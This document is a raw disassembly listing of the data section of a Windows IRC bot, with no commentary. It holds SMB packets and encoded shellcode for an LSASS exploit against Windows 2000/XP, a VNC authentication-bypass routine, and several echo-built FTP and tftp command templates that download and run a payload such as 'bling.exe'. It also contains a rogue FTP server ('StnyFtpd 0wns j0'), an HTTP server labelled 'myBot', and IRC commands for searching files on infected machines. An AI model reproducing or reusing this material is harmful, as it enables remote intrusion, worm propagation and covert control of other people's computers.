dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C90 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: .packed:0040E8A6o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D1C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .packed:0040E8D2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_432DC8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .packed:0040E8F9o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_432EA8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_40E3F1+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_432F0C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_432F78 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43301C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_43309C dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_433130 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_43319C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433210 dd 0 ; DATA XREF: sub_40E3F1+35Fo
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 2 dup(0)
word_433298 dw 0AD9Dh ; DATA XREF: sub_40E292+30r
; sub_40E3F1+E7r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_4332D8 dd 1004600h ; DATA XREF: sub_40E3F1+140r
; sub_40E3F1+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40E292+BCo
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------
loc_433410: ; DATA XREF: sub_40E3F1+177o
jmp short loc_433418
; ---------------------------------------------------------------------------
jmp short loc_43341A
; ---------------------------------------------------------------------------
align 8
loc_433418: ; CODE XREF: .packed:loc_433410j
; DATA XREF: sub_40E3F1+27o
pop esp
pop esp
loc_43341A: ; CODE XREF: .packed:00433412j
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_433424 dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr
dword_433428 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r
dword_43342C dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 10h
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E9FB+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .packed:0040EE25o
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .packed:0040ECB2o
align 4
word_4346E4 dw 1 ; DATA XREF: .packed:0040EC29r
; sub_41B55B+24r ...
align 4
dword_4346E8 dd 2E646D63h, 657865h ; DATA XREF: sub_40EF1C+130o
; sub_41A1B1+21o
aEchoOpenSDOE_0 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40F108+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F3AA+5DAo
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40F3AA+5B9o
align 10h
dword_4347A0 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
; DATA XREF: sub_40F3AA+568o
; sub_412197+3ACo
dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
dd 207C2038h, 336E5730h, 203E2044h, 7325h
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F3AA+554o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40F3AA+4F7o
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_40F3AA+4DFo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F3AA+4CFo
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F3AA+4BEo
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F3AA+48Bo
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F3AA+447o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_40F3AA+40Eo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F3AA+3E0o
align 10h
aList_0 db 'LIST',0 ; DATA XREF: sub_40F3AA+3CDo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40F3AA+395o
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_40F3AA+382o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F3AA+372o
aI_0: ; DATA XREF: sub_40F3AA+35Eo
; .packed:004387F0o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F3AA+33Bo
aA_0: ; DATA XREF: sub_40F3AA+327o
; .packed:004387FCo
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_40F3AA:loc_40F6B3o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F3AA+2FEo
align 4
off_434934 dd offset dword_445750 ; DATA XREF: sub_40F3AA+2EAo
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F3AA+2DDo
align 4
aRest db 'REST',0 ; DATA XREF: sub_40F3AA+2C9o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F3AA+2BCo
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_40F3AA+2A8o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F3AA+29Bo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_40F3AA+287o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F3AA+277o
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_40F3AA+262o
align 4
aSS_0 db '%s %s',0 ; DATA XREF: sub_40F3AA+251o
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F3AA+1C9o
align 4
unk_4349CC db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_4349F4 db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo
; sub_41AA1E+F5o
align 4
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o
; sub_41AF8F+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo
align 4
unk_434C14 db 2Dh ; - ; DATA XREF: sub_4100B4+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_34 db ' failed to start worker thread, error %d',0
align 4
unk_434C4C db 2Dh ; - ; DATA XREF: sub_4100B4+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 10h
asc_434C80: ; DATA XREF: sub_4100B4+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_41036B+652o
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_41036B+61Co
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
align 4
aSS_1 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o
; sub_41036B+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
align 10h
aS_0 db '<%s>',0 ; DATA XREF: sub_41036B+2E9o
; sub_41036B+40Bo
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm db 'AM',0 ; DATA XREF: sub_41036B+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao
align 10h
a__ db '..',0 ; DATA XREF: sub_41036B+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_435128 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410BFD+171o
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410BFD+116o
dword_43516C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410BFD+BBo
aClientConnecti db '- client connection from %s:%d.',0
unk_435198 db 2Dh ; - ; DATA XREF: sub_410DAB+15Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0
unk_4351D4 db 2Dh ; - ; DATA XREF: sub_410DAB+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_43521C db 2Dh ; - ; DATA XREF: sub_410F3C+1AAo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0
unk_43525C db 2Dh ; - ; DATA XREF: sub_410F3C+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
unk_4352A0 db 2Dh ; - ; DATA XREF: sub_4111C0+1E9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4352CC db 2Dh ; - ; DATA XREF: sub_4111C0+1C2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_4352F8 db 2Dh ; - ; DATA XREF: sub_4111C0+1A2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4111C0+172o
align 4
unk_435334 db 2Dh ; - ; DATA XREF: sub_4111C0+E1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 10h
unk_435360 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
unk_43538C db 2Dh ; - ; DATA XREF: sub_41141F+1Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 4
unk_4353C4 db 2Dh ; - ; DATA XREF: sub_41144E+219o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 4
unk_4353FC db 2Dh ; - ; DATA XREF: sub_41144E+1FBo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0
align 4
unk_435438 db 2Dh ; - ; DATA XREF: sub_41144E+177o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_43547C db 2Dh ; - ; DATA XREF: sub_41144E+106o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 4
unk_4354B8 db 2Dh ; - ; DATA XREF: sub_41144E+70o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 4
unk_4354FC db 2Dh ; - ; DATA XREF: sub_41144E+3Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
unk_435528 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
